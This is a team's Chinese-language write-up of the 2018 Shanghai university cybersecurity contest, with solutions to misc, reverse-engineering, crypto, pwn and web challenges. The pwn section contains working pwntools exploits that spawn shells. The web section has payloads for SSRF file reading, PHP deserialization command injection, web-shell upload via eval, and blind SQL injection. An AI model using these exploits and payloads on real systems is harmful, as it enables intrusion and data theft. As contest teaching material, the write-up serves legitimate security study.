2018 上海市大学生网络安全大赛线上赛 Writeup by Whitzard
syang CTF 9218浏览 · 2018-11-06 01:10

2018 上海市大学生网络安全大赛线上赛 Writeup by Whitzard

在本周末的第四届上海市网络安全大赛线上赛上,我们队伍的成员发挥出色,获得了线上赛的第一名(给大佬们递茶)。现在将题目的 writeup 发出来分享给大家。

Misc

签到

import base64
print(base64.b32decode('MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q===='))
#flag{35222d30-439e-4afb-91f4-abebc73fe05c}'

easy_py

拿到一个pyc 分析了一下发现中间被恶意插了一行字节码,把他删掉可以正常disasm。

1       0  JUMP_ABSOLUTE         6  'to 6'
           3  
           6  JUMP_ABSOLUTE         9  'to 9'
           9  LOAD_CONST            0  ''
          12  LOAD_CONST            1  10
          15  LOAD_CONST            2  7
          18  LOAD_CONST            3  1
          21  LOAD_CONST            4  29
          24  LOAD_CONST            5  14
          27  LOAD_CONST            2  7
          30  LOAD_CONST            6  22
          33  LOAD_CONST            6  22
          36  LOAD_CONST            7  31
          39  LOAD_CONST            8  57
          42  LOAD_CONST            9  30
          45  LOAD_CONST           10  9
          48  LOAD_CONST           11  52

   2      51  LOAD_CONST           12  27
          54  BUILD_LIST_15        15
          57  STORE_NAME            0  'cmp'

   3      60  LOAD_NAME             1  'raw_input'
          63  CALL_FUNCTION_0       0

   4      66  STORE_NAME            2  'flag'
          69  LOAD_CONST            0  ''
          72  STORE_NAME            3  'm'
          75  SETUP_LOOP           91  'to 169'
          78  LOAD_NAME             2  'flag'
          81  GET_ITER
          82  FOR_ITER             83  'to 168'
          85  STORE_NAME            4  'i'
          88  LOAD_NAME             5  'ord'
          91  LOAD_NAME             4  'i'
          94  CALL_FUNCTION_1       1
          97  UNARY_INVERT
          98  LOAD_CONST           13  102
         101  BINARY_AND
         102  LOAD_NAME             5  'ord'
         105  LOAD_NAME             4  'i'
         108  CALL_FUNCTION_1       1
         111  LOAD_CONST           18  -103
         114  BINARY_AND
         115  BINARY_OR
         116  STORE_NAME            4  'i'
         119  LOAD_NAME             4  'i'
         122  LOAD_NAME             0  'cmp'
         125  LOAD_NAME             3  'm'
         128  BINARY_SUBSCR
         129  COMPARE_OP            2  '=='
         132  POP_JUMP_IF_FALSE   144  'to 144'
         135  LOAD_NAME             3  'm'

   8     138  UNARY_NEGATIVE
         139  LOAD_CONST           14  -1
         142  BINARY_ADD
         143  UNARY_NEGATIVE

  10     144  STORE_NAME            3  'm'
         147  JUMP_BACK            73  'to 73'
         150  CONTINUE             73  'to 73'
         153  LOAD_CONST           15  'wrong'
         156  PRINT_ITEM
         157  PRINT_NEWLINE_CONT
         158  LOAD_NAME             6  'exit'
         161  CALL_FUNCTION_0       0
         164  POP_TOP
         165  JUMP_BACK            73  'to 73'
         168  POP_BLOCK
       169_0  COME_FROM                '75'
         169  LOAD_CONST           16  'right'
         172  PRINT_ITEM
         173  PRINT_NEWLINE_CONT

然后直接写python做逆操作

>>> comp=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
>>> s=""
>>> for i in comp:
...   s+=chr((-i-1)^(-103))
...
>>> s
'flag{happy_xoR}'

Pwn

memo_server

漏洞在于free时没清空指针,修改count即可double free。提示说无法直接getshell,不知所云。

from pwn import *
import re
import urllib
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def add(memo, count):
    r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(memo, count))
    ret = r.recvuntil('}\n')

def fre():
    r.sendline('''POST /count \nConnection: keep-alive\n\n''')
    ret = r.recvuntil('}\n')
def show():
    r.sendline('''GET /list \nConnection: keep-alive\n\n''')
    ret = r.recvuntil('</html>\n')
    return ret

def exploit(r):
    add('a'*4, 1)
    add('b'*4, 1)
    add('c'*4, 1)
    add('d'*4, 1)
    add('a'*48, 1)
    add('b'*48, 1)
    add('c'*48, 1)
    add('d'*48, 1)
    add('eee', 123456)
    fre()
    sleep(3)
    tmp = show()
    p = re.compile(r'<td>(.+?)</td>')
    tmp = re.findall(p, tmp)
    heap = u64(tmp[1].ljust(8, '\0')) & ~0xff
    assert heap != 0
    info('%016x heap', heap)

    add(p64(heap+0x60).replace('\x00', ''), 1)
    fre()
    sleep(3)
    add('ffffffff\x21', 1234)
    add(flat('A'*16, code.got['atoi']).replace('\x00', ''), 1234)

    tmp = show()
    p = re.compile(r'<td>(.+?)</td>')
    tmp = re.findall(p, tmp)
    for i in tmp:
        if i[-1] == '\x7f':
            libc.address = u64(i+'\0\0') - libc.sym['atoi']
            info('%016x libc.address', libc.address)
            break
    assert libc.address != 0

    add(p64(heap+0x180).replace('\x00', ''), 1)
    fre()
    sleep(3)
    #r.sendline('POST /echo \nConnection: keep-alive\n\ncontent=' + 'A'*1200)

    add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
    add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
    add(urllib.quote(flat(0x60308a)).ljust(0x30, 'A'), 12345)
    r.sendline('POST /add \nConnection: keep-alive\n\nmemo={}&count={}'.format(urllib.quote(flat('A'*6, libc.sym['system'])).ljust(0x30, 'A'), 'sh'))
    #flag{f31e33ff-0fcc-49b3-b29c-6e4a4364e2e4}
    r.interactive()

baby_arm

栈溢出,打开NX跳shellcode。

from pwn import *
code = ELF('./pwn', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

r = remote('106.75.126.171', 33865)

sc = asm(shellcraft.aarch64.linux.sh(), arch='aarch64').ljust(0x30) + p64(0x400600) + p64(0x411068)
r.sendafter('Name:', sc)

r.send(flat(cyclic(64), 1, 0x4008CC, [0,0x4008AC,0,0,0x411068+0x30,7,0x1000,0x411000]))

#flag{a62ddf9e-d3c4-4021-93ca-6d46361ed6bc}
r.interactive()

Re

cpp

题目有两个对输入进行处理并且验证的地方first_handle和second_handle:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char in; // [rsp+0h] [rbp-80h]
  char out; // [rsp+20h] [rbp-60h]
  char in_; // [rsp+40h] [rbp-40h]
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in, a2, a3);
  std::operator<<<std::char_traits<char>>(&std::cout, "input flag:");
  std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &in);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&in_, &in);
  first_handle((__int64)&out, (__int64)&in_, (__int64)&in_);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&in_);
  second_handle((__int64)&out);
  sub_40154E((__int64)&out);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&in);
  return 0LL;
}

第一处处理:

unsigned __int64 __fastcall sub_40111A(__int64 input)
{
  _BYTE *v1; // rbx
  int v2; // er12
  const char *v3; // rax
  int i; // [rsp+1Ch] [rbp-54h]
  char s1[43]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v7; // [rsp+58h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  s1[0] = 0x99u;
  s1[1] = 0xB0u;
  s1[2] = 0x87u;
  s1[3] = 0x9Eu;
  s1[4] = 0x84u;
  s1[5] = 0xA0u;
  s1[6] = 0xCBu;
  s1[7] = 0xEFu;
  s1[8] = 0x88u;
  s1[9] = 0x90u;
  s1[10] = 0xBBu;
  s1[11] = 0x8Eu;
  s1[12] = 0x91u;
  s1[13] = 0xE0u;
  s1[14] = 0xD2u;
  s1[15] = 0xAEu;
  s1[16] = 0xD4u;
  s1[17] = 0xC5u;
  s1[18] = 0x6F;
  s1[19] = 0xD7u;
  s1[20] = 0xC0u;
  s1[21] = 0x68;
  s1[22] = 0xC6u;
  s1[23] = 0x6A;
  s1[24] = 0x81u;
  s1[25] = 0xC9u;
  s1[26] = 0xB7u;
  s1[27] = 0xD7u;
  s1[28] = 0x61;
  s1[29] = 4;
  s1[30] = 0xDAu;
  s1[31] = 0xCFu;
  s1[32] = 0x3D;
  s1[33] = 0x5C;
  s1[34] = 0xD6u;
  s1[35] = 0xEFu;
  s1[36] = 0xD0u;
  s1[37] = 0x58;
  s1[38] = 0xEFu;
  s1[39] = 0xF2u;
  s1[40] = 0xADu;
  s1[41] = 0xADu;
  s1[42] = 0xDFu;
  for ( i = 0;
        i < (unsigned __int64)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(input);
        ++i )
  {
    v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
    v2 = 4 * *(char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i);
    *v1 = ((*(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, i) >> 6) | v2) ^ i;
  }
  v3 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
  if ( strcmp(s1, v3) == 0 )                    // fake
  {
    sub_4012CE(input);                          // flag is: flag{7h15_15_4_f4k3_F14G_=3=_rua!}
    exit(0);
  }
  return __readfsqword(0x28u) ^ v7;
}

对输入进行移位异或的操作input[i]=(input[i]>>6)|((input[i]<<2))^i,之后和固定值比较,相等则输出假的成功信息。
第二处处理:

unsigned __int64 __fastcall second_handle(__int64 input)
{
  _BYTE *v1; // r12
  int v2; // ebx
  char v3; // r13
  const char *v4; // rax
  signed int i; // [rsp+18h] [rbp-58h]
  signed int j; // [rsp+1Ch] [rbp-54h]
  char s[32]; // [rsp+20h] [rbp-50h]
  char v9; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+48h] [rbp-28h]

  v10 = __readfsqword(0x28u);
  v9 = 0;
  s[0] = 0x99u;
  s[1] = -80;
  s[2] = -121;
  s[3] = -98;
  s[4] = 112;
  s[5] = -24;
  s[6] = 65;
  s[7] = 68;
  s[8] = 5;
  s[9] = 4;
  s[10] = -117;
  s[11] = -102;
  s[12] = 116;
  s[13] = -68;
  s[14] = 85;
  s[15] = 88;
  s[16] = -75;
  s[17] = 97;
  s[18] = -114;
  s[19] = 54;
  s[20] = -84;
  s[21] = 9;
  s[22] = 89;
  s[23] = -27;
  s[24] = 97;
  s[25] = -35;
  s[26] = 62;
  s[27] = 63;
  s[28] = -71;
  s[29] = 21;
  s[30] = -19;
  s[31] = -43;
  for ( i = 0; i <= 3; ++i )
  {
    for ( j = 1; j < strlen(s); ++j )
    {
      v1 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](input, j);
      v2 = *(unsigned __int8 *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                                 input,
                                 j);
      v3 = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                       input,
                       j - 1) | v2;
      LOBYTE(v2) = *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                               input,
                               j);
      *v1 = v3 & ~(v2 & *(_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](
                                    input,
                                    j - 1));
    }
  }
  v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(input);
  if ( strncmp(v4, s, 32uLL) == 0 )             // real
    sub_401522();
  return __readfsqword(0x28u) ^ v10;
}

对经过移位异或后的输入进行运算(input[i-1]|input[i])&(~(input[i]&input[i-1])),然后和固定值比较,相等则输出真的成功信息。
下面是解密的脚本:

s1 = [153, 176, 135, 158, 132, 160, 203, 239, 136, 144, 187, 142, 145, 224, 210, 174, 212, 197, 111, 215, 192, 104, 198, 106, 129, 201, 183, 215, 97, 4, 218, 207, 61, 92, 214, 239, 208, 88, 239, 242, 173, 173, 223]
flag=""
# (input[i]>>6)|((input[i]<<2))^i
for i in range(len(s1)):
  tmp=(s1[i]^i)
  c=((tmp<<6)&0xff|(tmp>>2)&0xff)
  flag+=chr(c)
print flag
#flag is: flag{7h15_15_4_f4k3_F14G_=3=_rua!}
s=[153, 176, 135, 158, 112, 232, 65, 68, 5, 4, 139, 154, 116, 188, 85, 88, 181, 97, 142, 54, 172, 9, 89, 229, 97, 221, 62, 63, 185, 21, 237, 213]

for i in range(4):
  for j in range(len(s)-1,0,-1):
    a=s[j-1]|s[j]
    s[j]=a&(~(s[j]&s[j-1]))
print s
flag=''
for i in range(len(s)):
  tmp=((s[i])^i)&0xff
  c=((tmp<<6)&0xff|(tmp>>2)&0xff)&0xff
  s[i]=c
  flag+=chr(s[i])
print s
print (flag)
#flag{W0w_y0u_m4st3r_C_p1us_p1us}

cyvm

简单vm,输入存到s,经过vm处理后判断与s2相等。
分析vm代码,发现是将输入的每一位与后面一位和index作异或:

0x0F
0x10 0x14 0x20 reg[0] = 0x20
0x10 0x16 0x00 reg[2] = 0
0x09 0x24 jmp 0x24
0x9: 
0x02 0x15 0x16 reg[1] = s[reg[2]]
0xE9 nop
0x12 0x16 reg[2]++
0xE8 nop
0x02 0x17 0x16 reg[3] = s[reg[2]]
0x13 0x16 reg[2]--
0x90 nop
0x06 0x15 0x17 reg[1] ^= reg[3]
0x45 nop
0x06 0x15 0x16 reg[1] ^= reg[2]
0x76 nop
0x01 0x15 0x16 s[reg[2]] = reg[1]
0x12 0x16 reg[2]++
0xFF nop
0x24: 
0x0A 0x14 0x16 cmp reg[0] reg[2]
0x0C 0x09 jz 0x9

翻译成python:

for i in range(len(s)):
    s[i] = s[i] ^ s[i+1] ^ i

于是实现逆过程:

data=[0x0A, 0x0C, 0x04, 0x1F, 0x48, 0x5A, 0x5F, 0x03, 0x62, 0x67, 0x0E, 0x61, 0x1E, 0x19, 0x08, 0x36, 0x47, 0x52, 0x13, 0x57, 0x7C, 0x39, 0x54, 0x4B, 0x05, 0x05, 0x45, 0x77, 0x15, 0x26, 0x0E, 0x62,0]
for i in range(31,-1,-1):
    data[i]^=i
    data[i]^=data[i+1]
print ''.join(map(chr,data))

得到flag:

flag{7h15_15_MY_f1rs7_s1mpl3_Vm}

What's_it

读入6位小写字母并md5,然后对md5中的0的数量和位置做了一个check,爆破:

import hashlib   
import threading

def test(s):
    cnt = 0
    tot = 0
    for i in range(len(s) ):
        if s[i] == '0':
            tot += 1
            cnt += i
    return 10*tot + cnt == 403
def brute(a):
    s=''
    for b in range(97,123):
        for c in range(97,123):
            for d in range(97,123):
                for e in range(97,123):
                    for f in range(97,123):
                        s=chr(a)+chr(b)+chr(c)+chr(d)+chr(e)+chr(f)
                        m2 = hashlib.md5()   
                        m2.update(s)   
                        h=m2.hexdigest()
                        if test(h):
                            print s, h
for i in range(97,123):
    t = threading.Thread(target=brute,args=(i,) )
    t.start()

得到ozulmt 0ec448d42dbf0000c020c0000048010e
运行程序,输入ozulmt,decode函数会根据md5的后4位对check函数进行异或脱壳,dump内存得到脱壳后的check函数:

int  check(unsigned __int8 *a1)
{
  signed int len_input; // eax
  char data[32]; // [esp+1Dh] [ebp-6Bh]
  char input[50]; // [esp+3Eh] [ebp-4Ah]
  int k; // [esp+70h] [ebp-18h]
  int j; // [esp+74h] [ebp-14h]
  int i; // [esp+78h] [ebp-10h]
  unsigned int should32; // [esp+7Ch] [ebp-Ch]

  should32 = 0;
  for ( i = 0; i <= 3; ++i )
    should32 += a1[i];
  srands(should32);
  *(_DWORD *)data = 0;
  *(_DWORD *)&data[29] = 0;
  memset(
    (void *)((unsigned int)&data[4] & 0xFFFFFFFC),
    0,
    4 * (((unsigned int)&data[-((unsigned int)&data[4] & 0xFFFFFFFC) + 33] & 0xFFFFFFFC) >> 2));
  printfs(1);
  scanfs(input);
  checkht(input);
  for ( j = 0; j <= 31; ++j )
    data[j] = ASCII[rands(16)];
  should32 = 0;
  for ( k = 0; ; ++k )
  {
    len_input = strlens(input);
    if ( len_input <= k )
      break;
    if ( input[k] == data[k] )
      ++should32;
    else
      should32 += 100;
  }
  if ( should32 == 32 )
    should32 = 2;
  else
    should32 = 3;
  return printfs(should32);
}

在checkht中检查flag格式后,根据md5的前4位作为种子生成32个16进制字符生成flag,用c++实现:

#include <cstdio>
#include <cstring>
#include <iostream>
using namespace std;
int main(){
    char *s="0123456789abcdef";
    srand(300);
    for(int i = 0 ; i < 32; i++)
        cout << s[rand()%16];

}

修正格式,得到flag:
flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}

Crypto

rsaaaaaa

有两关
第一关令 d=1 可以很快得到一个满足的N
第二关 让服务器解密2m对应的cipher,把解密的结果除2即可得到m
通过两关后aes解密即可获得flag
脚本如下

from pwn import *
from hashlib import sha512
from Crypto.Util.number import *
from Crypto.Cipher import AES
context.log_level="debug"
con=remote("106.75.101.197",7544)

def pofw():
    con.recvuntil("(")
    msg=con.recv(16)
    con.recvuntil("== ")
    dig=con.recv(128)
    ans=util.iters.bruteforce(lambda x:sha512(msg+x).hexdigest()==dig,string.ascii_letters+string.digits,length=4)
    con.sendlineafter("X:",ans)
    con.recvuntil("f.")
pofw()
con.recvuntil("age:")
mes=con.recvuntil('\n').strip()
con.recvuntil("text:")
cipher=con.recvuntil('\n').strip()
mes1= int(mes,16)
cipher=int(cipher,16)
mi= cipher-mes1
i=2
while(True):
    if(mi%i==0):
        tmp=mi/i    
        assert(tmp*i==mi)
        break

    i+=1
con.sendlineafter("n:\n",str(tmp))  
con.sendlineafter("d:\n",str(1))    
con.recvuntil("private key!")
con.recvuntil("n=")
n=int(con.recvuntil("\n").strip(),16)
con.recvuntil("e=")
e=int(con.recvuntil("\n").strip(),16)
con.recvuntil("c=")
c=int(con.recvuntil("\n").strip(),16)
c2=(pow(2,e,n)*c )%n
con.sendlineafter("):",str(c2))
con.recvuntil("message:")
m2=int(con.recvuntil("\n").strip(),16)
mes2=m2/2

con.sendlineafter("message:",str(mes2))
con.recvuntil("math!\n")
aes= AES.new(hex(mes2)[2:].strip("L").decode("hex"), AES.MODE_CBC, hex(mes1)[2:].strip("L").decode("hex"))
con.recvuntil("flag:")
cipher=con.recvuntil("\n").strip()
print aes.decrypt(cipher[2:].decode("hex"))
con.close()
#con.interactive()

flag{ec35162f-94b3-47e4-8d2c-6da6bba0391f}

aesssss

问题出在pad以及unpad的过程
通过设置最后一个字节,可以缩短或者加长原来的flag
我们可以根据如下的算法爆破出flag的最后一个字节
1.记录原来的flag对应的密文
2.截断原来flag的最后一个字节
3.遍历所有的可见字符,在截断后的flag末尾增加一个字节,并获得对应密文,将密文逐个与第一步得到的密文对比,找到相同的密文,即可获得最后一个字节

然后依此逐个字节向前爆破,获得完整的flag
脚本如下

from pwn import *
import string
from hashlib import sha256
context.log_level="info"
con=remote("106.75.13.64",54321)
#con=remote("127.0.0.1",23333)
def pofw():
    con.recvuntil("+")
    msg=con.recv(16)
    con.recvuntil("== ")
    dig=con.recv(64)
    ans=util.iters.bruteforce(lambda x:sha256(x+msg).hexdigest()==dig,string.printable[:-3],length=4)
    con.sendlineafter("X:",ans)

def getflagenc():
    con.sendlineafter("choice:","1")
    con.recvuntil("flag: ")
    cipher=con.recvuntil("\n").strip('\n')
    return cipher
def setflag(m):
    con.sendlineafter("choice:","2")    
    con.sendlineafter("something:",m)
    con.recvuntil("Done.\n")
def getenc(m):
    con.sendlineafter("choice:","3")    
    con.sendlineafter("encrypt:",m)
    con.recvuntil("message: ")
    cipher=con.recvuntil("\n").strip('\n')
    return cipher
def changeflag(char,index):
    setflag((256-index-1)*"\x00"+chr(256-index+1))  
    setflag(char+(256-index)*chr(256-index))
def reduceflag(index):
    setflag((256-index-1)*"\x00"+chr(256-index+1))  
    setflag((256-index+1)*chr(256-index+1))
pofw()
plain="}"
flag=getflagenc()


#changeflag(ord('}'),33)
#print getflagenc()
#print flag
i=33
while(i>1):

    reduceflag(i)
    flag=getflagenc()
    for char in string.printable[:-4]:
        changeflag(char,i-1)
        m=getflagenc()
        if m==flag:
            plain=char+plain
            i-=1
            success(plain)
            break

print plain 
con.close()
flag{H4ve_fun_w1th_p4d_and_unp4d}

Web

web01

根据提示,访问 robots.txt 得到 hint: source.php flag.php,继续访问 source.php,得到:

you need to login as admin!
<!-- post param  'admin' -->

然后修改请求,补充参数 admin=1,得到:

you need to login as admin!
<!-- post param  'admin' -->only 127.0.0.1 can get the flag!!

继续修改,用 x-client-IP: 127.0.0.1 绕过:

...
x-client-IP:  127.0.0.1
...
admin=1

得到

you need to login as admin!
<!-- post param  'admin' -->you need post url: http://www.ichunqiu.com

传入参数 url,可以得到

you need to login as admin!
<!-- post param  'admin' -->http://www.ichunqiu.com
<img src="download/577706618;img1.jpg"/>

这里推测为 SSRF 解析问题,构造 payload:

admin=1&url=http%3A%2F%2F%40127.0.0.1%3A80%40www.ichunqiu.com%2F.%2F%2Findex.php

可以在页面返回的 <img src="download/1933783052;img1.jpg"/> 的对应文件里看到相应返回的主页内容。

由此通过 file 协议构造 payload:

admin=1&url=file%3A%2F%2F%40127.0.0.1%3A80%40www.ichunqiu.com%2F.%2F..%2F%2Fvar%2Fwww%2Fhtml%2Fflag.php

获得 flag:flag{4f643122-b7ab-4a43-9ab2-c8360cf5e376}

web02

通过备份文件 .index.php.swp 得到源码:

<?php
error_reporting(0);
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

使用 first=doller&a=var=give%26bbb=me%26ccc=flag 绕过 GET 参数的检查。然后利用 php 的反序列化在 host 函数处命令注入。

可以看到 waf 会进行过滤,但可以用双写绕过 flag 过滤 flflagag$IFS 绕过空格过滤,最终得到 payload 如下:

come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A19%3A%222%26%26cat%24IFS%2Fflflagag%22%3B%7D%7D

得到flag: flag{95812941-e7c8-4ec8-abf9-fdf2f275c54c}

web03

源码审计:

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

使用数组绕过第一步的检查,然后用 /. 绕过 unlink:

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[0]"

php

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

<?php
    @eval($_GET['cmd']);
?>
----------------------------568507734196432315160385--

然后尝试 include shell 文件(爆破):

----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[0]"

php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------280543779984883401718121
Content-Disposition: form-data; name="hehe"

100.php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

@<?php
    @eval($_GET['cmd']);
?>
----------------------------280543779984883401718121--

爆破 900 次后会发现整个文件夹下都是相应的 shell 文件,轻松 include,最后得到 flag:flag{5932a9f0-efee-45a5-ba6f-4437563f5042}

web04

发现 http://6ff03671b0644e8db32a373d5c78c9bbf360c9fb8de74568.game.ichunqiu.com/select_guest.php?id=1&Submit=Select+Guest id 处存在注入点,写脚本注入 admin 密码:

import string
import requests

s = requests.Session()

v = ""

def judge(text):
    return text != '$content=str_replace($value,"",$content)'

def get(url, data):
    return s.get(url, params=data)

def test(payload):
    url = "http://43738b589b7f4ddc83ece06a8f71af34d783a0ab788f4ab4.game.ichunqiu.com/select_guest.php"
    return get(url, {'id': payload})

def blind_inject(s):
    r = ''
    while True:
        left = 0
        right = 128
        while left <= right:
            mid = (left + right) // 2
            c = chr(mid)
            payload = s.format(len(r)+len(v)+1, c)
            #print(payload)
            if judge(test(payload).text):
                left = mid + 1
            else:
                right = mid - 1
        if left == 0:
            break
        else:
            print(left)
        r += chr(left)
        print(v+r)
    return r

def main():
    #blind_inject("1%27%20and%20substr(database(),{},1)%20>%20%27{}%27%23")
    #
    #blind_inject("1' and substr((SELECT GROUP_CONCAT(table_name) FROM information_schema . tables WHERE table_schema=database()),{},1) > '{}'#")
    #
    #blind_inject("1' and substr((SELECT GROUP_CONCAT(column_name) FROM information_schema . columns WHERE table_name = 'user' and table_schema=database()), {},1) > '{}' #")
    #
    blind_inject("1' and substr((SELECT password FROM web.user where id = 1), {},1) > '{}' #")

if __name__ == '__main__':
    main()

盲注得到 admin 密码的 md5 为 E3274BE5C857FB42AB72D786E281B4B8,查找得到 adminpassword

登录进入 http://6ff03671b0644e8db32a373d5c78c9bbf360c9fb8de74568.game.ichunqiu.com/the_last_upload.php

发现是文件上传界面,可控的注入点有 filename 和 uploaddir 两处:

控制 uploaddir=./flag.pfilename=hp,然后使用 %02 成功截断,成功获得 flag{5accd04b-53bd-4b78-b085-1ea674418701}

1 条评论
某人
表情
可输入 255